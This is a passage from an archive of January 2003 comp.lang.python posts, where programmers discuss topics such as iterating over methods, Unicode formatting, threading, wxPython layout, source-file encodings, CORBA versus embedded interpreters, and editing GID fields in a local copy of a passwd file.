together with wxWindows. BTW: Are there any samples using such a 
combination on the net?

Regards,
Oliver




From p-abel at t-online.de  Tue Jan  7 17:26:56 2003
From: p-abel at t-online.de (Peter Abel)
Date: 7 Jan 2003 14:26:56 -0800
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <v1lkl079pb5ib6@news.supernews.com>
Message-ID: <13a533e8.0301071426.6e950a4b@posting.google.com>

"John Roth" <johnroth at ameritech.net> wrote in message news:<v1lkl079pb5ib6 at news.supernews.com>...
> "Oliver Vecernik" <vecernik at aon.at> wrote in message
> news:3E1AB7B3.4050404 at aon.at...
> > Hi!
> >
> > I've got an object with some methods:
> >
> > class Someclass(self):
> >      def __init__(self):
> >          pass
> >      def method1(self):
> >          pass
> >      def method2(self):
> >          pass
> >      ...
> >      def runallmethods(self):
> >          for func in dir(self):
> >              if func[0:4] == 'method':
> >                  apply(self.func) # Does *not* work!
> >
> > I'd like to run all methods named 'method...' in a sequence. Has
>  anybody
> > a clue how to achive this?
> 
> Look at the "unittest" module. It does exactly this.
> 
> John Roth
> >
> > Best Regards,
> > Oliver
> >
Try this
>>> import types
>>> class A:
... 	def __init__(self):
... 		pass
... 	def m1(self):
... 		print "m1"
... 	def m2(self):
... 		print "m2"
... 	def run_all(self):
... 		for i in dir(self):
... 			if type(eval('self.'+i))==types.MethodType and i!='run_all' and
i!='__init__':
... 				eval('self.'+i)()
... 
>>> a=A()
>>> a.run_all()
m1
m2
>>>



From robin at jessikat.fsnet.co.uk  Tue Jan  7 18:46:14 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 7 Jan 2003 23:46:14 +0000
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk>
 <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de>
Message-ID: <JiqD$KAGb2G+Ewyl@jessikat.fsnet.co.uk>

In article <m3u1gkwvui.fsf at mira.informatik.hu-berlin.de>, Martin v.
L?wis <martin at v.loewis.de> writes
>Robin Becker <robin at jessikat.fsnet.co.uk> writes:
>
>> That was considered harmful (although I disagreed) so why is this
>> implicit conversion allowed? 
>
>It follows the general principle that, when combining byte strings and
>Unicode strings, the byte string will be converted to Unicode, not
>vice versa.
>
>Regards,
>Martin
>
but the general principal here is that %s converts things to strings.
What is general about breaking this? 
-- 
Robin Becker



From imbosol at vt.edu  Mon Jan 13 14:23:33 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 13 Jan 2003 19:23:33 GMT
Subject: Seeking Minimal Python Project Name
References: <mailman.1042436962.21167.python-list@python.org> <7xznq57esm.fsf@ruckus.brouhaha.com> <pan.2003.01.13.06.21.14.949768@uchicago.edu> <3E225D2A.BB5C3FC@alcyone.com> <3E22CFC0.8070300@users.snip.snip.ch>
Message-ID: <VmEU9.38813$uL2.21363@nwrddc01.gnilink.net>

Uly55e5 wrote:
> Erik Max Francis wrote:
>> 
>> Now that's _really_ the wrong direction to head in.  It's geeky enough
>> that it's named after Monty Python, isn't it?
> 
> So what about "Monty" ?

Then we can refer to CPython as the Full Monty.  Har har har.


-- 
CARL BANKS



From jzgoda at usun.gazeta.pl  Wed Jan 29 16:05:12 2003
From: jzgoda at usun.gazeta.pl (Jarek Zgoda)
Date: Wed, 29 Jan 2003 21:05:12 +0000 (UTC)
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org>
Message-ID: <slrn.pl.b3gfvm.go.jzgoda@kotek.home>

Skip Montanaro <skip at pobox.com> pisze:
 
>    Donn> Or maybe he literally meant efficient.  The efficient place to
>    Donn> stop the flow is not at the destination.
> 
> For that to happen, you will need the cooperation of the involved foreign
> ISPs, largely in Asia and Brazil, I think.

That's why I use DNS-based blacklists. See http://korea.services.net to
get an idea on how it works.

-- 
Jarek Zgoda
http://www.zgoda.biz/



From gerrit at nl.linux.org  Thu Jan  9 16:12:36 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Thu, 9 Jan 2003 22:12:36 +0100
Subject: Python threading tutorial?
In-Reply-To: <fqrcva.ip3.ln@beastie.ix.netcom.com>
References: <mailman.1041679867.22000.python-list@python.org> <mailman.1041802930.7347.python-list@python.org> <srqava.ei4.ln@beastie.ix.netcom.com> <mailman.1041874522.28493.python-list@python.org> <fqrcva.ip3.ln@beastie.ix.netcom.com>
Message-ID: <20030109211236.GA2771@nl.linux.org>

Dennis Lee Bieber schreef op dinsdag  7 januari om 23:31:11 +0000:
> > with plotting such a World in a graphical environment where each
> > Creature, Wall, Air and Human instance have images walking around, as
> > in a game.
> >
>         "Air"? That's a difficult game if one has to worry about the air 
> moving away from them <G>

Well, the wind is blowing ;)
Those classes have attributes like 'moving' and 'penetrable', so the air
probably won't move while Creature()'s do.

>         If you really plan to develop it much, you might want to split it into 
> modules rather than one file. I can easily see a module for the World, 
> and another for "critter/human" (I see those as subclasses of, call it, 
> Organism).

Well, I already had differen modules, because the Air, Wall, Creature and
Human instances were in a different module, with a class hierarchy.

>         For just movement, having World "do the move" is a rough spot, but not 
> too blatant. For something with more envolvement, a collision should 
> probably send the information of the other party to the affected 
> threads so that the threads themselves can interact -- something you'd 
> need to do if you get into a situation where, for example, combat is 
> permitted and you have to track damage to both sides.

Yes, that's true. I have not reached that point yet in my road
to learn programming with threads, but I now know it is possible.
I am planning do develop it much but not in the next couple of
months; I'd prefer to do my high school exams this summer ;)

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From marklists at mceahern.com  Sat Jan 25 12:34:33 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Sat, 25 Jan 2003 11:34:33 -0600
Subject: Generating Unique Keys
In-Reply-To: <1043515752.4943.10.camel@refugeeMedia>
Message-ID: <JHEOKEOOLIGLDHCMAHMOKEDKFOAA.marklists@mceahern.com>

> For session keys, is their a way in Python to grap a client's MAC
> address.  If so, is there any security concern with using a client's MAC
> address?

Wouldn't the MAC address of the server generating the session key be
sufficient?

Cheers,

// m

-





From phr-n2002b at NOSPAMnightsong.com  Sat Jan 11 16:22:38 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 11 Jan 2003 13:22:38 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <7xr8bjgz4x.fsf@ruckus.brouhaha.com>

"Edward K. Ream" <edream at tds.net> writes:
> I am inclined to disbelieve this claim.  Why should Psycho be able to do
> better than an optimizing C compiler applied to hand-written interpreter
> code and/or library code?  The only possibilities I can think of:
> 
> 1. The GIT somehow has access to enough run-time information to perform some
> truly excellent optimizations.
> 2. The granularity of the data processed by the GIT somehow is big enough to
> again affect some excellent optimizations.
> 3. There are other marvelous optimizations, unknown to me and available
> neither to Guido nor to an optimizing compiler that can be applied.

Fourth possibility: The CPython implementation, while highly flexible,
is not especially fast, and a faster interpreter can be written by
using different implementation techniques.  Also, it wasn't clear to
me but perhaps Minimal Python will include a native-code compiler
(Psyco-based or otherwise).

I've had the idea for a while that a "minimal" Python should actually
include some language extensions to improve execution speed.  For
example, being able to declare local variables and give type advice to
the compiler (like Lisp systems do) can make it possible to early-bind
class methods and slots to their callers.  That can avoid an awful lot
of dictionary lookups and speeds things up considerably.



From grayshade at libero.it  Sat Jan  4 05:12:06 2003
From: grayshade at libero.it (Domenico)
Date: 4 Jan 2003 02:12:06 -0800
Subject: spark anyone?
Message-ID: <e34e8ce6.0301040212.7506b9a6@posting.google.com>

Does anybody know anything about the fate of the SPARK parsing module?
Has its development been discontinued?



From markus.vonehr at ipm.fhg.de  Tue Jan 21 05:17:59 2003
From: markus.vonehr at ipm.fhg.de (Markus von Ehr)
Date: Tue, 21 Jan 2003 11:17:59 +0100
Subject: Newbie question: wxNotebook
Message-ID: <3E2D1E57.19CC5FC4@ipm.fhg.de>

I want to add a control Panel on the left side.
In this Panel I want a Notebook filling the whole available space.
Unfortunately the notebook remains very small, too small for placing
controls inside.
What can I do that the notebook always fills the whole available area,
independent of the parents size?

class NavPanel(wxPanel):

    def __init__(self, parent, ID, doodle):
        wxPanel.__init__(self, parent, -1)

        self.notebook = wxNotebook(self, -1, style=wxNB_BOTTOM)

        win = wxPanel(self, -1)

        self.notebook.AddPage(win, "Config")


Thanks,

Markus



From boethius at techie.com  Wed Jan 15 09:35:47 2003
From: boethius at techie.com (Boethius)
Date: 15 Jan 2003 06:35:47 -0800
Subject: Common log parser?
Message-ID: <67446a0a.0301150635.3be8c039@posting.google.com>

Before I reinvent the wheel, is there any python parser for the common
log format (apache logfiles)?



From donn at u.washington.edu  Wed Jan 29 12:10:17 2003
From: donn at u.washington.edu (Donn Cave)
Date: 29 Jan 2003 17:10:17 GMT
Subject: Any AIX experts out there?
References: <mailman.1043819092.30996.python-list@python.org>
Message-ID: <b191tp$228s$1@nntp6.u.washington.edu>

Quoth Laura Creighton <lac at strakt.com>:
| The Snake Farm is having trouble building Python on AIX.
| See: http://lists.lysator.liu.se/pipermail/snake-farm/2003-January/000654.html
|
| Does anybody recognise these symptoms?

No.  As Neal surmises, a problem with the host is as likely as anything
else - we have a number of AIX boxes here and I wouldn't touch installation
or maintenance of the IBM software with a stick, leave that to specialists
and keep an eye out for problems anyway.

I configured 2.2.1 with platform type rs6000-ibm-aix4.1,
OPT='-O2 -qmaxmem=8192', CC=cc and --with-cxx=no.

	Donn Cave, donn at u.washington.edu



From gmuller at worldonline.nl  Wed Jan  8 14:06:12 2003
From: gmuller at worldonline.nl (GerritM)
Date: Wed, 8 Jan 2003 20:06:12 +0100
Subject: Laura's List - was Re: new years resolutions
References: <20030106212551.A19866@bob.sesgroup.com.au><200301061159.h06BxgjL029439@ratthing-b246.strakt.com> <mailman.1041981151.15754.python-list@python.org>
Message-ID: <avhsvi$6vj$1@reader1.tiscali.nl>

"Christopher A. Craig" <com-nospam at ccraig.org> schreef in bericht
news:mailman.1041981151.15754.python-list at python.org...
<...snip..>
> The first group would make arguments like "Why is the object oriented
> programming class taught in SmallTalk?  Nobody uses SmallTalk, why
> don't you teach it in Java?"  The second would make arguments like
> "SmallTalk is one of the most pure OO languages available, Java is not
> nearly as good for teaching OOD."
>
> I, along with most of the professors, was in the second group.  It
> sounds like you are in the first.  For what it's worth, our professors
> had no problem with informing people of trade schools in our area
> where they could learn to program in Java or C++ or whatever, they
> just refused to orient their curricula around current language trends.
>
> --
> Christopher A. Craig <com-nospam at ccraig.org>
> "Software hoarding is not a victimless crime." Richard Stallman
>
I would absolutely teach students multiple languages and stimulate them to
understand advantages and disadvantages of different languages. A CS
graduate should be able to program different languages and understand the
trade-offs.

regards Gerrit

--
www.extra.research.philips.com/natlab/sysarch/






From donna at v1.wustl.edu  Mon Jan 27 12:04:20 2003
From: donna at v1.wustl.edu (donna at v1.wustl.edu)
Date: Mon, 27 Jan 2003 11:04:20 -0600
Subject: os.listdir ('.'): Solaris: returns empty list in directory with 215 
 files
Message-ID: <3E356694.C4768FF7@v1.wustl.edu>

Hi python gurus,

A quick search of the archives turned up os.listdir('.') errors, but my
os.listdir doesn't complain; it just gives bad results:

myhost 30% python
Python 2.1.3 (#1, Jan 21 2003, 13:13:11) 
[GCC 3.2] on sunos5
Type "copyright", "credits" or "license" for more information.
>>> import os
>>> os.listdir('/surface/donna/SunOS/SUREfit/lib/python2.1')
[]
>>> ^D
temporal 31% ls | wc
     216     216    2383

Note that this is in the python lib directory.  My host is running SunOS
5.8 Generic_108528-17 sun4u sparc SUNW,Ultra-5_10, but this file system
is NFS mounted, which I suspect is the root of the problem.  The NFS
server is running IRIX64 6.4 02121744 IP30.  The same version of python
built on IRIX 6.4 and Linux 6.1 return valid results on this file
system.  The same SunOS version previously built on a local file system
also returned valid results.  Only the SunOS version executing on the
NFS-mounted file system returns erroneous results.  Anyone else come
across this?

I noticed this while packaging binary distributions.  I noticed the
SunOS distribution was much smaller than it previously was; the problem
was missing *.pyc and *.pyo files in the python lib directory. 
Explicitly running compilall.py in the python lib directory doesn't
work, since it can't see the directory's contents.

Donna




From peter at engcorp.com  Thu Jan  2 11:25:18 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 11:25:18 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com>
Message-ID: <3E1467EE.93860EC4@engcorp.com>

Brad Clements wrote:
> 
> I'm looking for war stories, comments and insight regarding suitable
> development methodologies for "lone wolf" programmers.
> 
> That is, developers who work alone.  I'm also interested in how these
> methods work in the context of Python development.
> 
> For example, I'm considering PSP and would like to hear from others who are
> using it, or have tried it. "Real life" stories are useful. I'm somewhat
> annoyed by the SEI (sm) aspect of PSP, so if you haven't been tutored by an
> SEI instructor, phrase your statements as "PSP-like".

I tried during my seven years as a consultant to implement things like 
PSP for myself.  In all cases, the results were not useful, other than for
one very important thing: they made me sensitive to the issues and laid the
foundation for my adoption of XP when I discovered it.

> Regarding XP.. I'm a lone developer, so pair programming doesn't work, and I
> can't see how the Code review step would be any different than what I do
> now.

There is no "code review" step in XP.  Code is reviewed second-by-second
by your partner during development, and any time someone refactors it after
it is working.

> I've also looked into "Software Inspection" methods, but .. again I'm
> looking at my own stuff.
> 
> I'm intrigued by TDD and have started "test first, code second" on an
> in-progress project (a large Zope/Python monster that is a wart-on-a-wart, a
> bag-on-a-bag). Fortunately conversion to SAPDB is giving me an opportunity
> to clean house.

I have been using all aspects of XP which are not obviously useless with
solitary programmers (pair programming being the obvious one, and stand-up
daily scrums being another :-) with great success.  By far the most useful
on has been to adopt TDD.  Another very useful one has been to start using
an "issue tracker" to track all issues with the project, and to prioritize
them aggressively, in order to limit scope creep.  I'm constantly amazed
that I ever got anywhere with previous projects (and by comparison I did
not) when I had no focus on the concept of *business value* and let myself
"play" in unproductive but very fun directions during the work.

I strongly recommend you spend even more time looking into XP and learn
enough of it to have a good feel for the philosophy behind it, and
a good feel for the individual practices, before you abandon it.  I think
you'll find, as I did, that an XP "attitude" will help you whether alone,
with a partner, or as a member of a larger team.

But if you do nothing else, TDD alone will probably help you far more,
and with far less cost, than any heavy process such as the SEI/PSP stuff.

-Peter



From martin at v.loewis.de  Fri Jan 24 06:07:51 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 12:07:51 +0100
Subject: Is there really a default source encoding?
In-Reply-To: <mailman.1043358822.27446.python-list@python.org>
References: <004401c2c315$ce598ce0$21795418@dell1700> <mailman.1043358822.27446.python-list@python.org>
Message-ID: <b0r6q3$c9p$07$1@news.t-online.com>

Alexander Schmolck wrote:
> This is a laudable goal. I just didn't understand why one would want to, after
> slowly and carefully moving away from eurocentric (latin-1), revert even
> further back to anglocentric (ascii) instead of opting for truly international
> (and anglo-neutral, utf-8). That seemed a bit like 1 step forward, 2 steps
> back. 

In this case, it is Pythonic:

In the face of ambiguity, refuse the temptation to guess.

Python needs to support multiple source encodings, as it is a real-world 
fact that people do use multiple source encodings, and they won't move 
away from that unless forced. Python tries not to force things onto 
people if it can be avoided, so we want people to use the encodings that 
they happen to use.

Given that there are multiple encodings, we need declarations for them, 
or else we would have to guess. The only unambiguous case is ASCII, 
since you can't really mistake a file written in some other relevant 
encoding as ASCII (I know iso-2022 somewhat breaks this rule, but it may 
not be relevant for Python source code).

So if there are no bytes >128, it is ASCII. If there are bytes > 128, we 
would have to guess, which we should refuse.

> Great. Only are you sure that BOMs are such a great idea?

Yes. First of all, notepad.exe supports it, for which Markus' comments 
are irrelevant. Furthermore, I disagree with Markus on several accounts.

>     On POSIX systems, the locale and not magic file type codes define the encoding
>     of plain text files. 

Does not apply: this is not plain text, but source code. Relying on the 
locale is next to guessing, as the file may have been created by a user 
of a different locale.

>     Mixing the two concepts would add a lot of complexity and
>     break existing functionality.  Adding a UTF-8 signature at the start of a file
>     would interfere with many established conventions such as the kernel looking
>     for "#!" at the beginning of a plaintext executable to locate the appropriate
>     interpreter.  Handling BOMs properly would add undesirable complexity even to
>     simple programs like cat or grep that mix contents of several files into one.

cat is irrelevant as well, as you rarely cat two source code files 
together. I can't see how grep is affected - if you have encoding 
declarations (which you also have in HTML, XML, and probably other file 
formats), you can't grep for non-ASCII text anyway.

> The '#!'-bit would seem especially relevant.  

Indeed, this is the only valid point in this objection. I have a patch 
for the Linux kernel which I still hope to incorporate into future Linux 
versions to support UTF-8-BOM #! in binfmt_script. If the feature takes 
off, other Posix systems may follow.

Regards,
Martin




From DLNXPEGFQVEB at spammotel.com  Sun Jan 19 18:56:42 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Mon, 20 Jan 2003 01:56:42 +0200
Subject: [OT] Locating one's posts
References: <mailman.1042835072.24826.python-list@python.org> <7h3wul2l9d4.fsf@pc150.maths.bris.ac.uk>
Message-ID: <k6dm2v8ahh40s2jenc9cvl761b9r65rt37@4ax.com>

On Sat, 18 Jan 2003 16:18:14 GMT, rumours say that Michael Hudson
<mwh at python.net> might have written:

>Christos "TZOTZIOY" Georgiou

Thanks for using the nick too :), but it's not necessary.  It's just
that it's a unique nick in the net, so if I want to search for anything
written by me in the web or in any newsgroup, I can narrow the search
efficiently.  (My first name is quite common, and my last name is kind
of "Georgeson", "McGeorge", "Jurgens[eo]n"... you get the point.)

tzot, which is a shorter derivative and I use it as a username in many
*nix systems, is not unique... its a word in Witness (a made up language
AFAIK), it was also a word in Mayan.
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From tdelaney at avaya.com  Sun Jan  5 22:48:18 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 14:48:18 +1100 
Subject: Explicit Frustration of the Self
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A80A@natasha.auslabs.avaya.com>

> From: DeadWisdom at wisefool.net [mailto:DeadWisdom at wisefool.net]
> 
> The explicit self is the character flaw of Python.

Strangely enough (to you), I consider it one of the best features of Python.
I have spent an inordinate amount of time trying to convince people to
always use 'this' in Java and C++ on instance variables and methods.

Explicit is better than implicit ... especially if you have a
syntax-colouring text editor which highlights 'self' and 'this' ;)

Tim Delaney




From runeb at [remove].eyeone.com  Wed Jan 22 06:55:53 2003
From: runeb at [remove].eyeone.com (Rune Braathen)
Date: 22 Jan 2003 12:55:53 +0100
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
Message-ID: <uy95d4cvq.fsf@eyeone.com>

"Thomas Weholt" <2002 at weholt.org> writes:

[ ... ]

> Opinions on what, where and why to pay for a Python-friendly IDE would be
> appreciated.

While trying not to sound like a preaching fanboy; I heartily
recommend looking into Slickedit. It has excellent support for Python,
as well as most other languages.

If you use Python as a tool language on top of or in combination with
other languages, it is simply excellent as you can mix project-types
within a single workspace. Additionally, the syntax tagging and
class-browsing support are as good as it gets.

It's not free, but it's inexpensive compared to the productivity
gains. Trials are available from http://www.slickedit.com/

-- 
runeb






From mwm at mired.org  Wed Jan 15 17:38:05 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 15 Jan 2003 22:38:05 GMT
Subject: Feeding commands to a remote python program versus using CORBA
References: <b04fn0$b37$1@bob.news.rcn.net>
Message-ID: <x7r8be599l.fsf@guru.mired.org>

morden <morden at shadows.net> writes:

> I need to ditch ILU in a portion of our system (it's buggy). I'm
> torn between replacing ILU with something like OmniORB and embedding
> a python interpreter into the server (written in C++ unfortunately)
> and have it invoked in a fashion similar to that of telnetd. Corba
> seems like an overkill but making function wrappers for what are
> corba method implementations on server seems like more more.

> It's just a simple client->server subsystem, no fancy replication and
> distribution stuff.
> 
> Any thoughts on this?

My experiments - see <URL: http://www.mired.org/home/mwm/scripting/ >
show that CORBA is lighter weight than a Python interpreter. Wrapping
the objects and methods up to export to the two is about the
same. Going with CORBA gives you the advantage that you can use
whatever your favorite language is on the client side, even if that
isn't Python.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From adalke at mindspring.com  Tue Jan 14 18:02:13 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 14 Jan 2003 16:02:13 -0700
Subject: matching and extracting...
In-Reply-To: <409a56e2.0301141324.6625547d@posting.google.com>
References: <409a56e2.0301141324.6625547d@posting.google.com>
Message-ID: <b024tc$93b$1@slb2.atl.mindspring.net>

Shagshag wrote:
> Here is my problem : say i have items ix, some are "to discover" (must
> be extracted "-x"), some are "needed" (must be present "-p") and some
> are indifferent ("-?"). for example, i have sequence like :
> 
> s = "a0 a1 a2 a3 a4 a5 a6 a7 a8"
> 
> i would like to check if my sequence is matching sequence like :
> 
> m = "a0-p i1-x i2-x i3-? a4-p i5-x i6-? i7-x i8-?"
> 
> and get result like :
> 
> m is matching s, i1 is a1, i2 is a3, i5 is a5, i7 is a7 (in python a
> "true" and a dict)

This took a while for me to figure it out.  Couldn't "i8" be
matched to "a8"?

The approach I would suggest is to break them apart into words
(using the "split" method of strings) then do a recusive comparison,
as in

def recursive_match(s_words, m_words):
    if not s_words:
      ... make sure the remaining m words are "-?"
      ... if not, return None
      return ()
    if not m_words:
      ... then stop searching
      return ()
    if m_words[0] ends in "-p":
      make sure it matches s_words[0]
      x = recursive_match(s_words[1:], m_words[1:])
      if x is None:
        # there wasn't a submatch, so we don't match
        return None
      # return our match plus the submatch
      return (s_words[0], m_words[0]) + x
    if m_words[0] ends in "-x":
      x = recursive_match(s_words[1:], m_words[1:])
      if x is None:
        return None
      return (s_words[0], m_words[0]) + x
    if m_words[0] ends in "-?":
      for i in range(1, len(s_words)):
        x = recursive_match(s_words[i:], m_words[1:])
        if x is not None:
          return (s_words[i-1], m_words[0]) + x
      # no matches
      return None
   raise TypeError("unknown match term: %r" % (m_words[0],)

def do_match(s, m):
   m = recursive_match(s.split(), m.split()
   if m is None:
      .... no match
   else:
      m = m[:-1]  # the last term is an empty tuple
      .... the match is a list of tuples of the form (s_word, m_word)

You'll need to fix the Python yourself.

					Andrew
					dalke at dalkescientific.com







From mwilson at the-wire.com  Thu Jan 30 13:10:01 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Thu, 30 Jan 2003 13:10:01 -0500
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <5pWO+ks/KzLb089yn@the-wire.com>

In article <m4di3v4koufdbf4e2pvsanegli2kqt48ch at 4ax.com>,
Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> wrote:
>In many places, often small utility functions, I find myself using the
>form:
>
>lst = maybeAnArg
>if type(lst) not in (list, tuple)
>    lst = [lst]
>for x in lst:
>    whatever
>
[ ... ]
>
>In other words, I want to be able to treat an argument of arbitrary
>type as a list of 1 if it isn't already a list.
>Has anyone got a neater way of doing this?

   I don't see anything wrong with this as it stands; it
does just what it says and I presume it does just what you
want.  Nobody has to page 10 or 15 screens up or down in the
source, or consult library docs, to see what's going to
happen.

   The huge responsibility in using a strongly- and
dynamically-typed language is that the program has to line
its data up in the proper types right from the start.
Without that, any attempt later to patch things up is going
to look bizarre.  (e.g. string:  data item or sequence of
characters?  Tune in at 11 ..)

   Whether an arbitrary object with a __getitem__ method or
an iterator, or a __str__ method for that matter, is meant
to be taken as its discrete self or as mere wrapping to
deliver its various contents in a particular situation is an
open question.  Application-dependent, I say.

        Regards.        Mel.



From norm at norm.com  Tue Jan 28 23:50:43 2003
From: norm at norm.com (Norm)
Date: Tue, 28 Jan 2003 23:50:43 -0500
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <mailman.1043758549.8656.python-list@python.org>
Message-ID: <3e375ba6_3@corp.newsgroups.com>

These replies were great!  I've been reading python books every night, but
having live thoughts and explanations really help.

Could you / would you expound on what you mean in #1 of your answer?
iterate a slice of it, ie:   for record in records[:]:       I'm having
trouble visualizing it.

Thanks everyone!

Norm


"Andy Jewell" <andy at wild-flower.co.uk> wrote in message
news:mailman.1043758549.8656.python-list at python.org...
Norm,

Did you want to save the changes to the file?  If you did, you need to do
the
following:

1) Recombine fields into a colon-delimited string and put that back into the
relevant place in the records list.  You can't modify the list you'r
iterating safely, so iterate a slice of it, ie:

for record in records[:]:

2) Rewrite the records list back to the file.  Modifying the records /list/
merely changes the copy in memory.

** You probably want to back up the original before modifying it!

hope this helps,
-andyj

On Tuesday 28 Jan 2003 3:55 am, Norm wrote:
> I would like to open this unix passwd file and chang the GID of those who
> have a GID of 200 to 199
>
> This does everything except change fields[3] to 199
>
> Thoughts?
> Norm
>
> ##############################
> import sys
> try:
>     file = open ("passwd.txt" , "r+")
> except IOError, message:
>     print >> sys.stderr," Can't open the file:", message
>     sys.exit(1)
>
> records = file.readlines()
>
> for record in records:
>     fields = record.split(':')
>     if fields[3] == "200":
>         print fields[0], " has a GID of 200"
>         print "now changing it to 199"
>         fields[3] = 199
> file.close()
>
>
>
>
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----






-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From tim.one at comcast.net  Wed Jan 22 14:08:51 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 22 Jan 2003 14:08:51 -0500
Subject: Outlook Express and COM
In-Reply-To: <20c262a1.0301220140.228f0ba5@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEMODJAB.tim.one@comcast.net>

[Richard Waters]
> Slightly off the original topic; one thing to watch with Outlook
> (2000, maybe later versions also). There are 2 ways to install it. I
> don't remember the exact terminology,

IMO for Internet-Mail-Only, Corporate/Workgroup for Exchange-server enabled
installations.

> but one way gives you an internet-only version (very similar to OE), the
> other gives you the full, corporate Outlook package. The former has
> fewer automation interfaces available than the latter so be careful when
> you write code to automate it; may not work for everyone!

We bumped into this on the spambayes project.  IMO doesn't support CDO
(Collaboration Data Objects) out of the box, but an IMO user can easily
install CDO from their Office CD.  Mark Hammond found faster & better (but
seemingly more obscure) ways to replace CDO calls via extended MAPI calls
instead, and then spambayes worked for everyone.  There are still some
challenges in actually working with Exchange server installations, largely
because no spambayes developer has access to one.  It's not a lack of docs,
it's a lack of comprehensible docs <0.9 wink>.





From maney at pobox.com  Thu Jan 16 14:01:12 2003
From: maney at pobox.com (maney at pobox.com)
Date: Thu, 16 Jan 2003 19:01:12 +0000 (UTC)
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <pIFU9.30525$aG4.1599274@twister.austin.rr.com> <b06k1k$art$2@wheel2.two14.net> <3E26E4D2.9EE02BFC@engcorp.com>
Message-ID: <b06vho$auj$3@wheel2.two14.net>

Peter Hansen <peter at engcorp.com> wrote:
> maney at pobox.com wrote:
>> for l in someFile.xreadlines():
>>     fields = csv.split(l)
>>     ...
> 
> I haven't reviewed the code, but with the above line driving it, it 
> doesn't seem likely it can handle any lines with embedded newlines,
> which can easily occur in a CSV file (at least, those written by Excel
> for one).

Interesting.  Because mmost of what I'm parsing comes from Excel
spreadsheets.  Perhaps its because I use OpenOffice to dump them to
CSV - at least IME it does a better job of not dumping unwanted empty
columns.  Oh well, I know where I can get a more Excel-compatible
parser if I need it, though having to get that installed everywhere
will be a nuisance.

> Might be great for some people though.  Nice and simple.

That's me.  Why, I invented "do the simplest thing" *decades* before
those gen-X folks came along!  <really big grin>



From hancock at anansispaceworks.com  Thu Jan 23 13:22:36 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Thu, 23 Jan 2003 18:22:36 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com> <3E3023B0.7060000@Linux.ie>
Message-ID: <MpWX9.8260$bL4.814094@newsread2.prod.itd.earthlink.net>

 Padraig at Linux.ie wrote:
> Chris Keyes wrote:
>> IBM will never use Python for everything...
> Why do you say this?

I think the point is that "never", "always", "nothing", and "everything" 
are always hyperboles.  There is more than one good programming language in 
the world.

Would it really be a good thing if *everything* were done in Python (even 
for those who only use Python)?  I don't think so -- there'd be less 
innovation.  Python has proved itself a very efficient collector of ideas 
from other languages (there are a number of reasons why it should be better 
than many other languages at that -- more to do with motivation than 
design, I think).

I'm not sure that Python really needs major corporate backing, nor even if 
it would be a good thing to receive it. One of Python's unique stengths is 
the very high affinity it has for open-source development (a consequence of 
clear design and short learning curves).  Corporate users are less 
concerned about such advantages (they use paid professional programmers in 
whom they can afford to invest a lot of training) and they may even be 
threatened by it (difficulty of obscuring source, blocking reengineering, 
lower perceived value due to fewer lines of code, generally lower barrier 
to competition).  Even when corporations do participate in open-source 
projects, they have a tendency to haul development along into their own 
direction (not that this is unreasonable of them, but it can be unhealthy 
for the project in the long run).

IMHO, it's a lot better if a lot of little companies use it. And, I 
actually think that may be true now.  And as for our little company, Python 
use is definitely growing. ;-D

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From dave at pythonapocrypha.com  Sat Jan 25 17:04:59 2003
